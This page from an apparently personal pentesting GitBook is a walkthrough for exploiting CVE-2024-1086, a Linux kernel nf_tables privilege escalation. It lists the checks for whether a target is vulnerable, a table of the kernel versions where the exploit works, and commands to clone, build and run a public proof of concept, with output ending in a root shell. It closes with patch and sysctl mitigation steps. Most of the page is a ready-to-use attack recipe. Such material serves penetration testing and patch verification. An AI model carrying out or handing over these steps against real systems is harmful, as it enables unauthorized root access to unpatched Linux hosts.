0xPThree.gitbook.io
  • Network Services
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 23 - Telnet
      • 25, 465, 587 - SMTP(S)
      • 53 - DNS
      • 80, 443 - HTTP(S)
        • Frameworks
          • Drupal
          • Flask
          • Laravel
          • Tomcat
          • Werkzeug
        • Fuzzing
        • Grafana
        • Languages
          • PHP
        • WebDAV
        • Web Vulnerabilities
          • CloudFlare Bypass
          • Command Injection
          • CSTI
          • File Inclusion/Path Traversal
          • SQL Injection
          • SSI
          • SSTI
          • Upload bypass
          • XLST
          • XML Injection
      • 88 - Kerberos
      • 135, 593 - MSRPC
      • 139, 445 - SMB
      • 161, 162, 10161, 10162 - SNMP
      • 1433, 3306 - SQL
      • 2049 - NFS
      • 2375 - Docker
  • Active Directory
    • ADCS
    • DACL Abuse
      • AddMember
      • ForceChangePassword
      • Kerberoasting
      • ReadLAPSPassword
      • ReadGMSAPassword
      • Grant Ownership
      • Grant Rights
      • Logon Script
      • Rights on RODC object
    • Security groups
    • Misc
  • Coding Languages
    • Python
  • Exploits / PoC's
    • Ansible
      • Ansible AWX
    • Apache
      • HTTP Server - CVE-2021-41773
      • Struts - CVE-2024-53677 / S2-067
      • Tomcat - CVE-2020-1938 / CVE-2020-10487
      • Tomcat - CVE-2025-24813
    • Confluence - CVE-2023-22527
    • CUPS - CVE-2024-47***
    • D-Link
      • CVE-2020-29322
      • Decrypt firmware: DIR-X1560
    • Dmidecode - CVE-2023-30630
    • Erlang
      • OTP SSH - CVE-2025-32433
    • EternalBlue - MS17-010
    • Gitlab - CVE-2023-7028
    • Ivanti - CVE-2024-21893 / 21887
    • Jenkins - CVE-2024-23897
    • LXD group - N/A
    • nf_tables - CVE-2024-1086
    • NFS - N/A
    • Oracle
      • WebLogic - CVE-2018-2628
      • WebLogic - CVE-2019-2729
      • WebLogic - CVE-2023-21839
      • WebLogic - CVE-2024-20931
      • WebLogic - CVE-2024-21006
    • PHP
      • CVE-2024-4577
    • RunC
      • CVE-2022-0811
      • CVE-2024-21626
    • Snap - CVE-2019-7304
    • TP-Link - CVE-2024-5035
  • Hardware
    • Firmware
    • JTAG
    • SPI
    • UART
    • USB
  • Post Exploit
    • Compile payload
    • Obfuscation
    • Read VMDK files
    • Saved Credentials
      • Linux - Ansible AWX / Tower
      • Linux - Dell Networker
      • Windows - Mozilla Firefox
      • Windows - Notepad++
      • Windows - WinSCP
    • Session Hijack
    • Sniffing Passwords
    • Upgrade shell
    • VMware
      • Disk Encryption
      • LDAP Connection (SSO)
      • Restore VCSA Postgres Database
      • vCenter Forge SAML
      • Waiter Account Information
  • Development
    • Dnsmasq DHCP
    • Docker
      • Ansible AWX
      • Docker Compose
      • FirmAE - Emulate Firmware
      • Oracle WebLogic
      • Rocket.Chat
      • Tomcat
      • Vaultwarden
    • Harden Windows Host
    • HTTPS Proxy
    • Netplan + Networkd
    • SSL/TLS Certificates
  • TODO
Powered by GitBook
On this page

Was this helpful?

  1. Exploits / PoC's

nf_tables - CVE-2024-1086

Warning: 
This exploit is very volatile and more often than not freezes the target. 
I would not recommend trying this in production in it's current state.

A short Proof-of-Concept of privilege escalation exploit CVE-2024-1086 (nf_tables), working on most Linux kernels between version 5.14 - 6.6, including Debian, Ubuntu and KernelCTF. The exploit is very unstable, use with caution.

Verify kernel version:

kali-test :: ~ » uname -r
6.3.0-kali1-amd64

Verify that unprivileged users can create namespaces:

kali-test :: ~ » sysctl kernel.unprivileged_userns_clone && sysctl user.max_user_namespaces
kernel.unprivileged_userns_clone = 1
user.max_user_namespaces = 31303

kali-test :: ~ » grep -E 'CONFIG_USER_NS|CONFIG_INIT_ON_ALLOC_DEFAULT_ON' /boot/config-$(uname -r)
CONFIG_USER_NS=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y

Verify if kernel version is vulnerable to CVE-2024-1086, according to table below. Note: Exploit will work up to (including) version 6.6.4 if CONFIG_INIT_ON_ALLOC_DEFAULT_ON is toggled off.

Kernel Version
Working/Fail
Fail Reason

v5.4.270

fail

[CODE] pre-dated nft code (denies rule alloc)

v5.10.209

fail

[TCHNQ] BUG mm/slub.c:4118

v5.14.21

working

n/a

v5.15.148

working

n/a

v5.16.20

working

n/a

v5.17.15

working

n/a

v5.18.19

working

n/a

v5.19.17

working

n/a

v6.0.19

working

n/a

v6.1.55

working

n/a

v6.1.69

working

n/a

v6.1.69

working

n/a

v6.1.72

working

n/a

v6.2.?

working

n/a

v6.2.16

working

n/a

v6.3.13

working

n/a

v6.4.16

fail

[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y

v6.5.3

fail

[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y

v6.5.13

fail

[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y

v6.6.14

fail

[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y

v6.7.1

fail

[CODE] nft verdict value incorrect is altered by kernel

Download, install and build exploit.

kali-test :: ~ » git clone https://github.com/Notselwyn/CVE-2024-1086
kali-test :: ~ » sudo apt install musl-tools
kali-test :: ~ » cd CVE-2024-1086
kali-test :: ~/CVE-2024-1086 ‹main› » make

Run exploit.

kali-test :: ~/CVE-2024-1086 ‹main› » ./exploit 
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[... snip ...]

# id
uid=0(root) gid=0(root) groups=0(root)
# uname -r 
6.3.0-kali1-amd64

Patch

To patch the vulnerability simply upgrade the kernel to a non-vulnerable version.

If you're not able to upgrade the kernel for some reason, you can temporarily fix the issue by denying unprivileged users to create namespaces: sudo sysctl -w kernel.unprivileged_userns_clone=0

Or permanently by: echo kernel.unprivileged_userns_clone=0 | \ sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf

Last updated 10 months ago

Was this helpful?